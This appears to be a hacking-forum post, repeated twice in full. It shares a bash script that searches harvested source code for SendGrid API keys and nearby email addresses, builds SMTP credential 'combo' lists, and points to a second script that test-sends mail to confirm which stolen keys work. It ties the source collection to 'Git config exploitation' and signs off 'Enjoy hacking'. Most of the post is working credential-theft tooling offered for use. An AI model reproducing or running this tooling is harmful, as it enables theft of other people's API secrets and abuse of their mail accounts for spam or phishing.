Hello i share with you today a very pratical script
Function :
You can search on a file texte and extract + autotest smtp sendgrid
Ex : show my first thread [ Git config exploitation ]
After have many src on your server or many file with smtp in content you can launch command
grep -P -r -C25 "SG\.[\w_]{16,32}\.[\w_]{16,64}" foldertosearch >>sendgrid.txt
After this search you can launch my script for check if sendgrid smtp exist
bash script.sh list.txt
You can launch with multi thread
just split your list with
split list.txt -l 200 splited
and
for splitt in $(ls splited*);do nohup bash script.sh $splitt &done
smtp combo going to sendgridkey.txt
script 1 content
b=$(echo $RANDOM | md5sum | head -c 20)
cat $1 | grep -o -P "SG\.[\w_]{16,32}\.[\w_]{16,64}" | sort -u >cle.$b
while read line ;do
cat $1 | grep "$line" -a -C25 >$b.ini
cat $b.ini | grep -o -P "SG\.[\w_]{16,32}\.[\w_]{16,64}" | sort -u >> SG.$b
cat $b.ini | grep -o -P "\b[A-Za-z0-9._%+-]+@[A-Za-z0-9.-]+\.[A-Za-z]{2,6}\b" | sort -u | head -n4 >> mail.$b
while read SG;do
while read mail;do
if echo "$mail" | grep -q "@";then
echo "$mail"
echo "$mail:smtp.sendgrid.net:apikey:$SG" >>sendgridkey.txt
else
echo "EMPTY mail"
echo "[email protected]:smtp.sendgrid.net:apikey:$SG" >>sendgridkey.txt
fi
done < mail.$b
done < SG.$b
done < cle.$b
rm SG.$b
rm mail.$b
rm cle.$b
sort -u sendgridkey.txt >>keysendgrid.txt
rm sendgridkey.txt
After launch script1 you have keysendgrid.txt file with content combo of smtp possibility found on your file scanned
so for finish you can launch script 2
bash send.sh keysendgrid.txt in multi thread or not.
Script 2 download link : Download
(make sur smtp port are opened on your server )
Please modify line with [email protected] ok send.sh replace by your email for receiving send test
Combokeys screen :
[Image: 4-AE73561-8-DB0-4-D97-9-E3-E-830506-F094-DC.jpg]
Mailbox after check screen :
[Image: CC473-F9-E-1-F23-4-B79-B40-C-F1-A19-F28-DC44.jpg]
The script can be adapted for any smtp host ( mailgun,SES,mailchimp,sparkpost..ect)
Enjoy hacking
Angel
Function :
You can search on a file texte and extract + autotest smtp sendgrid
Ex : show my first thread [ Git config exploitation ]
After have many src on your server or many file with smtp in content you can launch command
grep -P -r -C25 "SG\.[\w_]{16,32}\.[\w_]{16,64}" foldertosearch >>sendgrid.txt
After this search you can launch my script for check if sendgrid smtp exist
bash script.sh list.txt
You can launch with multi thread
just split your list with
split list.txt -l 200 splited
and
for splitt in $(ls splited*);do nohup bash script.sh $splitt &done
smtp combo going to sendgridkey.txt
script 1 content
b=$(echo $RANDOM | md5sum | head -c 20)
cat $1 | grep -o -P "SG\.[\w_]{16,32}\.[\w_]{16,64}" | sort -u >cle.$b
while read line ;do
cat $1 | grep "$line" -a -C25 >$b.ini
cat $b.ini | grep -o -P "SG\.[\w_]{16,32}\.[\w_]{16,64}" | sort -u >> SG.$b
cat $b.ini | grep -o -P "\b[A-Za-z0-9._%+-]+@[A-Za-z0-9.-]+\.[A-Za-z]{2,6}\b" | sort -u | head -n4 >> mail.$b
while read SG;do
while read mail;do
if echo "$mail" | grep -q "@";then
echo "$mail"
echo "$mail:smtp.sendgrid.net:apikey:$SG" >>sendgridkey.txt
else
echo "EMPTY mail"
echo "[email protected]:smtp.sendgrid.net:apikey:$SG" >>sendgridkey.txt
fi
done < mail.$b
done < SG.$b
done < cle.$b
rm SG.$b
rm mail.$b
rm cle.$b
sort -u sendgridkey.txt >>keysendgrid.txt
rm sendgridkey.txt
After launch script1 you have keysendgrid.txt file with content combo of smtp possibility found on your file scanned
so for finish you can launch script 2
bash send.sh keysendgrid.txt in multi thread or not.
Script 2 download link : Download
(make sur smtp port are opened on your server )
Please modify line with [email protected] ok send.sh replace by your email for receiving send test
Combokeys screen :
[Image: 4-AE73561-8-DB0-4-D97-9-E3-E-830506-F094-DC.jpg]
Mailbox after check screen :
[Image: CC473-F9-E-1-F23-4-B79-B40-C-F1-A19-F28-DC44.jpg]
The script can be adapted for any smtp host ( mailgun,SES,mailchimp,sparkpost..ect)
Enjoy hacking
Angel